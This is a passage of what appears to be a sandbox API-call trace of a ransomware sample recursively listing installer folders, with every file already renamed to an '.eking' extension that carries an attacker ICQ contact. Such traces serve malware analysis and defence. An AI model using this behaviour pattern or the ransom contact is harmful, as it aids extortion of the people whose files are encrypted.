nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Client", cAlternateFileName="")) returned 1 [0275.366] GetProcessHeap () returned 0xaf0000 [0275.366] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.523] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.523] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d513e7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0275.523] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0275.523] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d776b2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d776b2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7dc3b37, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0275.523] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.524] GetProcessHeap () returned 0xaf0000 [0275.524] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.525] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d513e7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d513e7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d9d7b8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DHtmlHeader.html.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DHTMLH~1.EKI")) returned 1 [0275.525] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9d7b8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7d9d7b8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f675ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DisplayIcon.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DISPLA~1.EKI")) returned 1 [0275.525] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Extended", cAlternateFileName="")) returned 1 [0275.525] GetProcessHeap () returned 0xaf0000 [0275.525] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0275.526] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.527] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7dc3b37, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7dc3b37, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f8d6b7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0275.527] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0275.528] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0275.528] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0275.529] GetProcessHeap () returned 0xaf0000 [0275.529] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.529] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Graphics", cAlternateFileName="")) returned 1 [0275.529] GetProcessHeap () returned 0xaf0000 [0275.529] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0275.530] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.531] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8d6b7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f8d6b7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Print.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PRINTI~1.EKI")) returned 1 [0275.531] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate1.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~1.EKI")) returned 1 [0275.531] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate2.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~2.EKI")) returned 1 [0275.531] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80012e2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80012e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate3.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~3.EKI")) returned 1 [0275.531] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8405d73, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate4.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~4.EKI")) returned 1 [0275.531] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80724be, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate5.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RO9365~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80724be, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80724be, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80be95b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate6.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROD52B~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80be95b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80be95b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc826248c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate7.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROFF0B~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc826248c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc826248c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc83225ae, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Rotate8.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROB541~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83225ae, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc83225ae, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Save.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SAVEIC~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a21eee, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8a21eee, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="Setup.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPI~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8dc0bb3, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="stop.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STOPIC~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d8f471, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SysReqMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d8f471, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d8f471, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8e2846e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SysReqNotMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~2.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 1 [0275.532] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 0 [0275.533] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0275.534] GetProcessHeap () returned 0xaf0000 [0275.534] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.534] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e2846e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8e2846e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc9091963, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="header.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="HEADER~1.EKI")) returned 1 [0275.534] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xcbe50b31, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~1.EKI")) returned 1 [0275.534] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc9f5235c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~2.EKI")) returned 1 [0275.534] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9f5235c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc9f5235c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xca92bf2b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~3.EKI")) returned 1 [0275.534] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xce791297, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~4.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc52b72e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcc52b72e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcd816707, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NE0E92~1.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdbf198a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdbf198a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcde2dc4a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NED758~1.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde53f85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcde53f85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcdea052e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ParameterInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", 